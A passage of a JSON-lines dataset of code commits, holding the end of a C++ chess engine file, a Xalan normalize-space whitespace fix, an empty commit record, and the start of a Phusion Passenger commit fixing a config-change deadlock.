true);\r\n\t\t}\r\n\r\n\t\ta = f - window;\r\n\t\tb = f + window;\r\n\t\t\r\n\t\tif(stopped) {\r\n\t\t\tbreak;\r\n\t\t}\r\n\r\n\t\thasBestMove = true;\r\n\t\t++max_depth;\r\n\t}\r\n\r\n\tend_timer = clock();\r\n\r\n\tif(hasBestMove) {\r\n\t\tstd::cout << \"bestmove \" << bestMove.getMoveString() << std::endl;\r\n\t}\r\n}\r\n\r\nvoid Game::goTournament() {\r\n\tdouble tm, inc;\r\n\tif(game_board.currentState.whiteMove) {\r\n\t\ttm = wtime;\r\n\t\tinc = winc;\r\n\t} else {\r\n\t\ttm = btime;\r\n\t\tinc = binc;\r\n\t}\r\n\r\n\tdouble k;\r\n\r\n\tint figuresNumber = game_board.popcount64(game_board.currentState.white_bit_mask | game_board.currentState.black_bit_mask);\r\n\r\n\tif(movestogoEnable) {\r\n\t\tk = movestogo;\r\n\t\tgoFixedTime(tm \/ (k + 1) + inc \/ 2, true);\r\n\t} else {\r\n\t\tk = 40 - (32 - figuresNumber);\r\n\t\tgoFixedTime(tm \/ k + inc \/ 2 - 100, true);\r\n\t}\r\n}\r\n\r\nbool Game::move(std::string mv) {\r\n\tMoveArray moves;\r\n\tgame_board.bitBoardMoveGenerator(moves, stress);\r\n\tfor(unsigned int i = 0; i < moves.count; ++i) {\r\n\t\tif(moves.moveArray[i].getMoveString() == mv) {\r\n\t\t\tgame_board.move(moves.moveArray[i]);\r\n\t\t\tuint8_t color;\r\n\r\n\t\t\tif(game_board.currentState.whiteMove) {\r\n\t\t\t\tcolor = BLACK;\r\n\t\t\t} else {\r\n\t\t\t\tcolor = WHITE;\r\n\t\t\t}\r\n\r\n\t\t\tif(game_board.inCheck(color)) {\r\n\t\t\t\tgame_board.goBack();\r\n\t\t\t\tcontinue;\r\n\t\t\t}\r\n\r\n\t\t\t++hash_decrement;\r\n\r\n\t\t\treturn true;\r\n\t\t}\r\n\t}\r\n\r\n\treturn false;\r\n}\r\n<|endoftext|>"}
{"text":"<commit_before>\/*\n * The Apache Software License, Version 1.1\n *\n *\n * Copyright (c) 1999 The Apache Software Foundation.  All rights \n * reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions\n * are met:\n *\n * 1. Redistributions of source code must retain the above copyright\n *    notice, this list of conditions and the following disclaimer. \n *\n * 2. Redistributions in binary form must reproduce the above copyright\n *    notice, this list of conditions and the following disclaimer in\n *    the documentation and\/or other materials provided with the\n *    distribution.\n *\n * 3. The end-user documentation included with the redistribution,\n *    if any, must include the following acknowledgment:  \n *       \"This product includes software developed by the\n *        Apache Software Foundation (http:\/\/www.apache.org\/).\"\n *    Alternately, this acknowledgment may appear in the software itself,\n *    if and wherever such third-party acknowledgments normally appear.\n *\n * 4. The names \"Xalan\" and \"Apache Software Foundation\" must\n *    not be used to endorse or promote products derived from this\n *    software without prior written permission. For written \n *    permission, please contact apache@apache.org.\n *\n * 5. Products derived from this software may not be called \"Apache\",\n *    nor may \"Apache\" appear in their name, without prior written\n *    permission of the Apache Software Foundation.\n *\n * THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESSED OR IMPLIED\n * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES\n * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\n * DISCLAIMED.  IN NO EVENT SHALL THE APACHE SOFTWARE FOUNDATION OR\n * ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\n * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF\n * USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND\n * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,\n * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT\n * OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF\n * SUCH DAMAGE.\n * ====================================================================\n *\n * This software consists of voluntary contributions made by many\n * individuals on behalf of the Apache Software Foundation and was\n * originally based on software copyright (c) 1999, International\n * Business Machines, Inc., http:\/\/www.ibm.com.  For more\n * information on the Apache Software Foundation, please see\n * <http:\/\/www.apache.org\/>.\n *\/\n#if !defined(FUNCTIONNORMALIZE_HEADER_GUARD_1357924680)\n#define FUNCTIONNORMALIZE_HEADER_GUARD_1357924680\n\n\/\/ Base header file.  Must be first.\n#include <XPath\/XPathDefinitions.hpp>\n\n\n\n#include <PlatformSupport\/DOMStringHelper.hpp>\n#include <PlatformSupport\/XalanUnicode.hpp>\n\n\n\n\/\/ Base class header file...\n#include <XPath\/FunctionDefaultStringArgument.hpp>\n\n\n\n#include <XPath\/NodeRefListBase.hpp>\n#include <XPath\/XObject.hpp>\n#include <XPath\/XObjectFactory.hpp>\n#include <XPath\/XPathExecutionContext.hpp>\n\n\n\n\/**\n * XPath implementation of \"normalize-space\" function.\n *\/\n\/\/\n\/\/ These are all inline, even though\n\/\/ there are virtual functions, because we expect that they will only be\n\/\/ needed by the XPath class.\nclass XALAN_XPATH_EXPORT FunctionNormalizeSpace : public FunctionDefaultStringArgument\n{\npublic:\n\n\t\/\/ These methods are inherited from FunctionDefaultStringArgument ...\n\n\tvirtual XObject*\n\texecute(\n\t\t\tXPathExecutionContext&\t\t\texecutionContext,\n\t\t\tXalanNode*\t\t\t\t\t\tcontext,\n\t\t\tint\t\t\t\t\t\t\t\t\/* opPos *\/,\n\t\t\tconst XObjectArgVectorType&\t\targs)\n\t{\n\t\tXalanDOMString\ttheSourceString;\n\n\t\tif(args.size() > 2)\n\t\t{\n\t\t\texecutionContext.error(\"The normalize-space() function takes zero arguments or one argument!\",\n\t\t\t\t\t\t\t\t   context);\n\n\t\t\t\/\/ Dummy return...\n\t\t\treturn 0;\n\t\t}\n\t\telse if (args.size() == 1)\n\t\t{\n\t\t\treturn normalize(executionContext, args[0]->str());\n\t\t}\n\t\telse if (context == 0)\n\t\t{\n\t\t\texecutionContext.error(\"The normalize-space() function requires a non-null context node!\",\n\t\t\t\t\t\t\t\t   context);\n\n\t\t\t\/\/ Dummy return...\n\t\t\treturn 0;\n\t\t}\n\t\telse\n\t\t{\n\t\t\treturn normalize(executionContext, getDefaultStringArgument(executionContext, *context));\n\t\t}\n\t}\n\n#if defined(XALAN_NO_COVARIANT_RETURN_TYPE)\n\tvirtual Function*\n#else\n\tvirtual FunctionNormalizeSpace*\n#endif\n\tclone() const\n\t{\n\t\treturn new FunctionNormalizeSpace(*this);\n\t}\n\nprivate:\n\n\tXObject*\n\tnormalize(\n\t\t\tXPathExecutionContext&\texecutionContext,\n\t\t\tconst XalanDOMString&\ttheString)\n\t{\n\t\tconst unsigned int\t\ttheStringLength = length(theString);\n\n\t\tXalanDOMChar\t\t\tthePreviousChar = 0;\n\n\t\t\/\/ A vector to contain the new characters.  We'll use it to construct\n\t\t\/\/ the result string.\n#if !defined(XALAN_NO_NAMESPACES)\n\t\tusing std::vector;\n#endif\n\n#if defined(XALAN_NO_NAMESPACES)\n\t\ttypedef vector<XalanDOMChar>\t\tVectorType;\n#else\n\t\ttypedef std::vector<XalanDOMChar>\tVectorType;\n#endif\n\n\t\t\/\/ A vector to contain the result.\n\t\tVectorType\t\t\t\ttheVector;\n\n\t\t\/\/ The result string can only be as large as the source string, so\n\t\t\/\/ just reserve the space now.\n\t\ttheVector.reserve(theStringLength);\n\n\t\t\/\/ OK, strip out any multiple spaces...\n\t\tfor (unsigned int i = 0; i < theStringLength; i++)\n\t\t{\n\t\t\tconst XalanDOMChar\ttheCurrentChar = charAt(theString, i);\n\n\t\t\tif (isXMLWhitespace(theCurrentChar) == true)\n\t\t\t{\n\t\t\t\t\/\/ If the previous character wasn't a space, and we've\n\t\t\t\t\/\/ encountered some non-space characters, then push the\n\t\t\t\t\/\/ space.\n\t\t\t\tif (isXMLWhitespace(thePreviousChar) == false && theVector.size() > 0)\n\t\t\t\t{\n\t\t\t\t\ttheVector.push_back(XalanDOMChar(XalanUnicode::charSpace));\n\t\t\t\t}\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\ttheVector.push_back(theCurrentChar);\n\t\t\t}\n\n\t\t\tthePreviousChar = theCurrentChar;\n\t\t}\n\n\t\tconst VectorType::size_type\t\ttheSize = theVector.size();\n\n\t\tif (theSize == 0)\n\t\t{\n\t\t\treturn executionContext.getXObjectFactory().createString(XalanDOMString());\n\t\t}\n\t\telse\n\t\t{\n\t\t\tif (isXMLWhitespace(theVector.back()) == true)\n\t\t\t{\n\t\t\t\t\/\/ The last character is a space, so remove it\n\t\t\t\ttheVector.pop_back();\n\t\t\t}\n\n\t\t\treturn executionContext.getXObjectFactory().createString(XalanDOMString(theVector.begin(), theSize));\n\t\t}\n\t}\n\n\t\/\/ Not implemented...\n\tFunctionNormalizeSpace&\n\toperator=(const FunctionNormalizeSpace&);\n\n\tbool\n\toperator==(const FunctionNormalizeSpace&) const;\n};\n\n\n\n#endif\t\/\/ FUNCTIONNORMALIZE_HEADER_GUARD_1357924680\n<commit_msg>Changed how trailing whitespace is handled.<commit_after>\/*\n * The Apache Software License, Version 1.1\n *\n *\n * Copyright (c) 1999 The Apache Software Foundation.  All rights \n * reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions\n * are met:\n *\n * 1. Redistributions of source code must retain the above copyright\n *    notice, this list of conditions and the following disclaimer. \n *\n * 2. Redistributions in binary form must reproduce the above copyright\n *    notice, this list of conditions and the following disclaimer in\n *    the documentation and\/or other materials provided with the\n *    distribution.\n *\n * 3. The end-user documentation included with the redistribution,\n *    if any, must include the following acknowledgment:  \n *       \"This product includes software developed by the\n *        Apache Software Foundation (http:\/\/www.apache.org\/).\"\n *    Alternately, this acknowledgment may appear in the software itself,\n *    if and wherever such third-party acknowledgments normally appear.\n *\n * 4. The names \"Xalan\" and \"Apache Software Foundation\" must\n *    not be used to endorse or promote products derived from this\n *    software without prior written permission. For written \n *    permission, please contact apache@apache.org.\n *\n * 5. Products derived from this software may not be called \"Apache\",\n *    nor may \"Apache\" appear in their name, without prior written\n *    permission of the Apache Software Foundation.\n *\n * THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESSED OR IMPLIED\n * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES\n * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\n * DISCLAIMED.  IN NO EVENT SHALL THE APACHE SOFTWARE FOUNDATION OR\n * ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\n * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF\n * USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND\n * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,\n * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT\n * OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF\n * SUCH DAMAGE.\n * ====================================================================\n *\n * This software consists of voluntary contributions made by many\n * individuals on behalf of the Apache Software Foundation and was\n * originally based on software copyright (c) 1999, International\n * Business Machines, Inc., http:\/\/www.ibm.com.  For more\n * information on the Apache Software Foundation, please see\n * <http:\/\/www.apache.org\/>.\n *\/\n#if !defined(FUNCTIONNORMALIZE_HEADER_GUARD_1357924680)\n#define FUNCTIONNORMALIZE_HEADER_GUARD_1357924680\n\n\/\/ Base header file.  Must be first.\n#include <XPath\/XPathDefinitions.hpp>\n\n\n\n#include <PlatformSupport\/DOMStringHelper.hpp>\n#include <PlatformSupport\/XalanUnicode.hpp>\n\n\n\n\/\/ Base class header file...\n#include <XPath\/FunctionDefaultStringArgument.hpp>\n\n\n\n#include <XPath\/NodeRefListBase.hpp>\n#include <XPath\/XObject.hpp>\n#include <XPath\/XObjectFactory.hpp>\n#include <XPath\/XPathExecutionContext.hpp>\n\n\n\n\/**\n * XPath implementation of \"normalize-space\" function.\n *\/\n\/\/\n\/\/ These are all inline, even though\n\/\/ there are virtual functions, because we expect that they will only be\n\/\/ needed by the XPath class.\nclass XALAN_XPATH_EXPORT FunctionNormalizeSpace : public FunctionDefaultStringArgument\n{\npublic:\n\n\t\/\/ These methods are inherited from FunctionDefaultStringArgument ...\n\n\tvirtual XObject*\n\texecute(\n\t\t\tXPathExecutionContext&\t\t\texecutionContext,\n\t\t\tXalanNode*\t\t\t\t\t\tcontext,\n\t\t\tint\t\t\t\t\t\t\t\t\/* opPos *\/,\n\t\t\tconst XObjectArgVectorType&\t\targs)\n\t{\n\t\tXalanDOMString\ttheSourceString;\n\n\t\tif(args.size() > 2)\n\t\t{\n\t\t\texecutionContext.error(\"The normalize-space() function takes zero arguments or one argument!\",\n\t\t\t\t\t\t\t\t   context);\n\n\t\t\t\/\/ Dummy return...\n\t\t\treturn 0;\n\t\t}\n\t\telse if (args.size() == 1)\n\t\t{\n\t\t\treturn normalize(executionContext, args[0]->str());\n\t\t}\n\t\telse if (context == 0)\n\t\t{\n\t\t\texecutionContext.error(\"The normalize-space() function requires a non-null context node!\",\n\t\t\t\t\t\t\t\t   context);\n\n\t\t\t\/\/ Dummy return...\n\t\t\treturn 0;\n\t\t}\n\t\telse\n\t\t{\n\t\t\treturn normalize(executionContext, getDefaultStringArgument(executionContext, *context));\n\t\t}\n\t}\n\n#if defined(XALAN_NO_COVARIANT_RETURN_TYPE)\n\tvirtual Function*\n#else\n\tvirtual FunctionNormalizeSpace*\n#endif\n\tclone() const\n\t{\n\t\treturn new FunctionNormalizeSpace(*this);\n\t}\n\nprivate:\n\n\tXObject*\n\tnormalize(\n\t\t\tXPathExecutionContext&\texecutionContext,\n\t\t\tconst XalanDOMString&\ttheString)\n\t{\n\t\tconst unsigned int\t\ttheStringLength = length(theString);\n\n\t\tXalanDOMChar\t\t\tthePreviousChar = 0;\n\n\t\t\/\/ A vector to contain the new characters.  We'll use it to construct\n\t\t\/\/ the result string.\n#if !defined(XALAN_NO_NAMESPACES)\n\t\tusing std::vector;\n#endif\n\n#if defined(XALAN_NO_NAMESPACES)\n\t\ttypedef vector<XalanDOMChar>\t\tVectorType;\n#else\n\t\ttypedef std::vector<XalanDOMChar>\tVectorType;\n#endif\n\n\t\t\/\/ A vector to contain the result.\n\t\tVectorType\t\t\t\ttheVector;\n\n\t\t\/\/ The result string can only be as large as the source string, so\n\t\t\/\/ just reserve the space now.\n\t\ttheVector.reserve(theStringLength);\n\n\t\t\/\/ OK, strip out any multiple spaces...\n\t\tfor (unsigned int i = 0; i < theStringLength; i++)\n\t\t{\n\t\t\tconst XalanDOMChar\ttheCurrentChar = charAt(theString, i);\n\n\t\t\tif (isXMLWhitespace(theCurrentChar) == true)\n\t\t\t{\n\t\t\t\t\/\/ If the previous character wasn't a space, and we've\n\t\t\t\t\/\/ encountered some non-space characters, then push the\n\t\t\t\t\/\/ space.\n\t\t\t\tif (isXMLWhitespace(thePreviousChar) == false && theVector.size() > 0)\n\t\t\t\t{\n\t\t\t\t\ttheVector.push_back(XalanDOMChar(XalanUnicode::charSpace));\n\t\t\t\t}\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\ttheVector.push_back(theCurrentChar);\n\t\t\t}\n\n\t\t\tthePreviousChar = theCurrentChar;\n\t\t}\n\n\t\tVectorType::size_type\ttheSize = theVector.size();\n\n\t\tif (theSize == 0)\n\t\t{\n\t\t\treturn executionContext.getXObjectFactory().createString(XalanDOMString());\n\t\t}\n\t\telse\n\t\t{\n\t\t\tif (isXMLWhitespace(theVector.back()) == true)\n\t\t\t{\n\t\t\t\t\/\/ The last character is a space, so remove it\n\t\t\t\t--theSize;\n\t\t\t}\n\n\t\t\treturn executionContext.getXObjectFactory().createString(XalanDOMString(theVector.begin(), theSize));\n\t\t}\n\t}\n\n\t\/\/ Not implemented...\n\tFunctionNormalizeSpace&\n\toperator=(const FunctionNormalizeSpace&);\n\n\tbool\n\toperator==(const FunctionNormalizeSpace&) const;\n};\n\n\n\n#endif\t\/\/ FUNCTIONNORMALIZE_HEADER_GUARD_1357924680\n<|endoftext|>"}
{"text":"<commit_before><commit_msg>Fixed assets tests when all assets removed<commit_after><|endoftext|>"}
{"text":"<commit_before>\/*\n *  Phusion Passenger - https:\/\/www.phusionpassenger.com\/\n *  Copyright (c) 2011-2017 Phusion Holding B.V.\n *\n *  \"Passenger\", \"Phusion Passenger\" and \"Union Station\" are registered\n *  trademarks of Phusion Holding B.V.\n *\n *  Permission is hereby granted, free of charge, to any person obtaining a copy\n *  of this software and associated documentation files (the \"Software\"), to deal\n *  in the Software without restriction, including without limitation the rights\n *  to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n *  copies of the Software, and to permit persons to whom the Software is\n *  furnished to do so, subject to the following conditions:\n *\n *  The above copyright notice and this permission notice shall be included in\n *  all copies or substantial portions of the Software.\n *\n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n *  THE SOFTWARE.\n *\/\n\n#include <boost\/thread.hpp>\n#include <boost\/scoped_ptr.hpp>\n#include <vector>\n#include <cassert>\n\n#include <LoggingKit\/LoggingKit.h>\n#include <Core\/ConfigChange.h>\n#include <Core\/Config.h>\n\nnamespace Passenger {\nnamespace Core {\n\nusing namespace std;\n\n\nstruct ConfigChangeRequest {\n\tJson::Value updates;\n\tPrepareConfigChangeCallback prepareCallback;\n\tCommitConfigChangeCallback commitCallback;\n\tunsigned int counter;\n\tvector<ConfigKit::Error> errors;\n\n\tboost::scoped_ptr<ConfigKit::Store> config;\n\tLoggingKit::ConfigChangeRequest forLoggingKit;\n\tSecurityUpdateChecker::ConfigChangeRequest forSecurityUpdateChecker;\n\tvector<ServerKit::ConfigChangeRequest *> forControllerServerKit;\n\tvector<Controller::ConfigChangeRequest *> forController;\n\tServerKit::ConfigChangeRequest forApiServerKit;\n\tApiServer::ConfigChangeRequest forApiServer;\n\tAdminPanelConnector::ConfigChangeRequest forAdminPanelConnector;\n\n\tConfigChangeRequest()\n\t\t: counter(0)\n\t\t{ }\n\n\t~ConfigChangeRequest() {\n\t\t{\n\t\t\tvector<ServerKit::ConfigChangeRequest *>::iterator it;\n\t\t\tfor (it = forControllerServerKit.begin(); it != forControllerServerKit.end(); it++) {\n\t\t\t\tdelete *it;\n\t\t\t}\n\t\t}\n\t\t{\n\t\t\tvector<Controller::ConfigChangeRequest *>::iterator it;\n\t\t\tfor (it = forController.begin(); it != forController.end(); it++) {\n\t\t\t\tdelete *it;\n\t\t\t}\n\t\t}\n\t}\n};\n\n\n\/**************** Functions: prepare config change ****************\/\n\n\nstatic void\nasyncPrepareConfigChangeCompletedOne(ConfigChangeRequest *req) {\n\tassert(req->counter > 0);\n\treq->counter--;\n\tif (req->counter == 0) {\n\t\treq->errors = ConfigKit::deduplicateErrors(req->errors);\n\t\tif (req->errors.empty()) {\n\t\t\tP_INFO(\"Changing configuration: \" << req->updates.toStyledString());\n\t\t} else {\n\t\t\tP_ERROR(\"Error changing configuration: \" << ConfigKit::toString(req->errors)\n\t\t\t\t<< \"\\nThe proposed configuration was: \" << req->updates.toStyledString());\n\t\t}\n\t\toxt::thread(boost::bind(req->prepareCallback, req->errors, req),\n\t\t\t\"Core config callback thread\",\n\t\t\t128 * 1024);\n\t}\n}\n\nstatic void\nasyncPrepareConfigChangeForController(unsigned int i, const Json::Value &updates, ConfigChangeRequest *req) {\n\tThreadWorkingObjects *two = &workingObjects->threadWorkingObjects[i];\n\tvector<ConfigKit::Error> errors1, errors2;\n\n\treq->forControllerServerKit[i] = new ServerKit::ConfigChangeRequest();\n\tConfigKit::prepareConfigChangeForSubComponent(\n\t\t*two->serverKitContext, coreSchema->controllerServerKit.translator,\n\t\treq->config->inspectEffectiveValues(),\n\t\terrors1, *req->forControllerServerKit[i]);\n\n\treq->forController[i] = new Controller::ConfigChangeRequest();\n\tConfigKit::prepareConfigChangeForSubComponent(\n\t\t*two->controller, coreSchema->controller.translator,\n\t\treq->config->inspectEffectiveValues(),\n\t\terrors2, *req->forController[i]);\n\n\tboost::lock_guard<boost::mutex> l(workingObjects->configSyncher);\n\tP_DEBUG(\"asyncPrepareConfigChangeForController(\" << i << \"): counter \"\n\t\t<< req->counter << \" -> \" << (req->counter - 1));\n\treq->errors.insert(req->errors.begin(), errors1.begin(), errors1.end());\n\treq->errors.insert(req->errors.begin(), errors2.begin(), errors2.end());\n\tasyncPrepareConfigChangeCompletedOne(req);\n}\n\nstatic void\nasyncPrepareConfigChangeForApiServer(const Json::Value &updates, ConfigChangeRequest *req) {\n\tvector<ConfigKit::Error> errors1, errors2;\n\n\tConfigKit::prepareConfigChangeForSubComponent(\n\t\t*workingObjects->apiWorkingObjects.serverKitContext,\n\t\tcoreSchema->apiServerKit.translator,\n\t\treq->config->inspectEffectiveValues(),\n\t\terrors1, req->forApiServerKit);\n\tConfigKit::prepareConfigChangeForSubComponent(\n\t\t*workingObjects->apiWorkingObjects.apiServer,\n\t\tcoreSchema->apiServer.translator,\n\t\treq->config->inspectEffectiveValues(),\n\t\terrors2, req->forApiServer);\n\n\tboost::lock_guard<boost::mutex> l(workingObjects->configSyncher);\n\tP_DEBUG(\"asyncPrepareConfigChangeForApiServer: counter \"\n\t\t<< req->counter << \" -> \" << (req->counter - 1));\n\treq->errors.insert(req->errors.begin(), errors1.begin(), errors1.end());\n\treq->errors.insert(req->errors.begin(), errors2.begin(), errors2.end());\n\tasyncPrepareConfigChangeCompletedOne(req);\n}\n\nstatic void\nasyncPrepareConfigChangeForAdminPanelConnectorDone(const vector<ConfigKit::Error> &errors,\n\tAdminPanelConnector::ConfigChangeRequest &_, ConfigChangeRequest *req)\n{\n\tvector<ConfigKit::Error> translatedErrors = coreSchema->adminPanelConnector.translator.reverseTranslate(errors);\n\tboost::lock_guard<boost::mutex> l(workingObjects->configSyncher);\n\tP_DEBUG(\"asyncPrepareConfigChangeForAdminPanelConnectorDone: counter \"\n\t\t<< req->counter << \" -> \" << (req->counter - 1));\n\treq->errors.insert(req->errors.begin(), translatedErrors.begin(), translatedErrors.end());\n\tasyncPrepareConfigChangeCompletedOne(req);\n}\n\n\/\/\n\/\/\n\nvoid\nasyncPrepareConfigChange(const Json::Value &updates, ConfigChangeRequest *req,\n\tconst PrepareConfigChangeCallback &callback)\n{\n\tP_DEBUG(\"Preparing configuration change: \" << updates.toStyledString());\n\tWorkingObjects *wo = workingObjects;\n\tboost::lock_guard<boost::mutex> l(workingObjects->configSyncher);\n\n\treq->updates = updates;\n\treq->prepareCallback = callback;\n\treq->counter++;\n\n\treq->config.reset(new ConfigKit::Store(*coreConfig, updates, req->errors));\n\tif (!req->errors.empty()) {\n\t\tasyncPrepareConfigChangeCompletedOne(req);\n\t\treturn;\n\t}\n\n\tConfigKit::prepareConfigChangeForSubComponent(\n\t\t*LoggingKit::context, coreSchema->loggingKit.translator,\n\t\treq->config->inspectEffectiveValues(),\n\t\treq->errors, req->forLoggingKit);\n\tConfigKit::prepareConfigChangeForSubComponent(\n\t\t*workingObjects->securityUpdateChecker,\n\t\tcoreSchema->securityUpdateChecker.translator,\n\t\treq->config->inspectEffectiveValues(),\n\t\treq->errors, req->forSecurityUpdateChecker);\n\n\treq->forControllerServerKit.resize(wo->threadWorkingObjects.size(), NULL);\n\treq->forController.resize(wo->threadWorkingObjects.size(), NULL);\n\tfor (unsigned int i = 0; i < wo->threadWorkingObjects.size(); i++) {\n\t\tThreadWorkingObjects *two = &wo->threadWorkingObjects[i];\n\t\treq->counter++;\n\t\ttwo->bgloop->safe->runLater(boost::bind(asyncPrepareConfigChangeForController,\n\t\t\ti, updates, req));\n\t}\n\n\tif (wo->apiWorkingObjects.apiServer != NULL) {\n\t\treq->counter++;\n\t\two->apiWorkingObjects.bgloop->safe->runLater(boost::bind(\n\t\t\tasyncPrepareConfigChangeForApiServer, updates, req));\n\t}\n\n\tif (wo->adminPanelConnector != NULL) {\n\t\treq->counter++;\n\t\two->adminPanelConnector->asyncPrepareConfigChange(\n\t\t\tcoreSchema->adminPanelConnector.translator.translate(updates),\n\t\t\treq->forAdminPanelConnector,\n\t\t\tboost::bind(asyncPrepareConfigChangeForAdminPanelConnectorDone,\n\t\t\t\tboost::placeholders::_1, boost::placeholders::_2, req));\n\t}\n\n\t\/***************\/\n\t\/***************\/\n\n\tasyncPrepareConfigChangeCompletedOne(req);\n}\n\n\n\/**************** Functions: commit config change ****************\/\n\n\nstatic void\nasyncCommitConfigChangeCompletedOne(ConfigChangeRequest *req) {\n\tassert(req->counter > 0);\n\treq->counter--;\n\tif (req->counter == 0) {\n\t\toxt::thread(boost::bind(req->commitCallback, req),\n\t\t\t\"Core config callback thread\",\n\t\t\t128 * 1024);\n\t}\n}\n\nstatic void\nasyncCommitConfigChangeForController(unsigned int i, ConfigChangeRequest *req) {\n\tThreadWorkingObjects *two = &workingObjects->threadWorkingObjects[i];\n\n\ttwo->serverKitContext->commitConfigChange(*req->forControllerServerKit[i]);\n\ttwo->controller->commitConfigChange(*req->forController[i]);\n\n\tboost::lock_guard<boost::mutex> l(workingObjects->configSyncher);\n\tP_DEBUG(\"asyncCommitConfigChangeForController(\" << i << \"): counter \"\n\t\t<< req->counter << \" -> \" << (req->counter - 1));\n\tasyncCommitConfigChangeCompletedOne(req);\n}\n\nstatic void\nasyncCommitConfigChangeForApiServer(ConfigChangeRequest *req) {\n\tApiWorkingObjects *awo = &workingObjects->apiWorkingObjects;\n\n\tawo->serverKitContext->commitConfigChange(req->forApiServerKit);\n\tawo->apiServer->commitConfigChange(req->forApiServer);\n\n\tboost::lock_guard<boost::mutex> l(workingObjects->configSyncher);\n\tP_DEBUG(\"asyncCommitConfigChangeForApiServer: counter \"\n\t\t<< req->counter << \" -> \" << (req->counter - 1));\n\tasyncCommitConfigChangeCompletedOne(req);\n}\n\nstatic void\nasyncCommitConfigChangeForAdminPanelConnectorDone(AdminPanelConnector::ConfigChangeRequest &_,\n\tConfigChangeRequest *req)\n{\n\tboost::lock_guard<boost::mutex> l(workingObjects->configSyncher);\n\tP_DEBUG(\"asyncCommitConfigChangeForAdminPanelConnectorDone: counter \"\n\t\t<< req->counter << \" -> \" << (req->counter - 1));\n\tasyncCommitConfigChangeCompletedOne(req);\n}\n\n\/\/\n\/\/\n\nvoid\nasyncCommitConfigChange(ConfigChangeRequest *req, const CommitConfigChangeCallback &callback)\n\tBOOST_NOEXCEPT_OR_NOTHROW\n{\n\tWorkingObjects *wo = workingObjects;\n\tboost::lock_guard<boost::mutex> l(workingObjects->configSyncher);\n\n\treq->commitCallback = callback;\n\treq->counter++;\n\n\t{\n\t\tboost::lock_guard<boost::mutex> l(workingObjects->configSyncher);\n\t\tcoreConfig->swap(*req->config);\n\t}\n\tLoggingKit::context->commitConfigChange(req->forLoggingKit);\n\tworkingObjects->securityUpdateChecker->commitConfigChange(\n\t\treq->forSecurityUpdateChecker);\n\n\two->appPool->setMax(coreConfig->get(\"max_pool_size\").asInt());\n\two->appPool->setMaxIdleTime(coreConfig->get(\"pool_idle_time\").asInt() * 1000000ULL);\n\two->appPool->enableSelfChecking(coreConfig->get(\"pool_selfchecks\").asBool());\n\n\tfor (unsigned int i = 0; i < wo->threadWorkingObjects.size(); i++) {\n\t\tThreadWorkingObjects *two = &wo->threadWorkingObjects[i];\n\t\treq->counter++;\n\t\ttwo->bgloop->safe->runLater(boost::bind(asyncCommitConfigChangeForController,\n\t\t\ti, req));\n\t}\n\n\tif (wo->apiWorkingObjects.apiServer != NULL) {\n\t\treq->counter++;\n\t\two->apiWorkingObjects.bgloop->safe->runLater(boost::bind(\n\t\t\tasyncCommitConfigChangeForApiServer, req));\n\t}\n\n\tif (wo->adminPanelConnector != NULL) {\n\t\treq->counter++;\n\t\two->adminPanelConnector->asyncCommitConfigChange(\n\t\t\treq->forAdminPanelConnector,\n\t\t\tboost::bind(asyncCommitConfigChangeForAdminPanelConnectorDone,\n\t\t\t\tboost::placeholders::_1, req));\n\t}\n\n\t\/***************\/\n\t\/***************\/\n\n\tasyncCommitConfigChangeCompletedOne(req);\n}\n\n\n\/**************** Functions: miscellaneous ****************\/\n\n\ninline ConfigChangeRequest *\ncreateConfigChangeRequest() {\n\treturn new ConfigChangeRequest();\n}\n\ninline void\nfreeConfigChangeRequest(ConfigChangeRequest *req) {\n\tdelete req;\n}\n\nJson::Value\ninspectConfig() {\n\tboost::lock_guard<boost::mutex> l(workingObjects->configSyncher);\n\treturn coreConfig->inspect();\n}\n\n\n} \/\/ namespace Core\n} \/\/ namespace Passenger\n<commit_msg>Core::asyncCommitConfigChange: fix deadlock<commit_after>\/*\n *  Phusion Passenger - https:\/\/www.phusionpassenger.com\/\n *  Copyright (c) 2011-2017 Phusion Holding 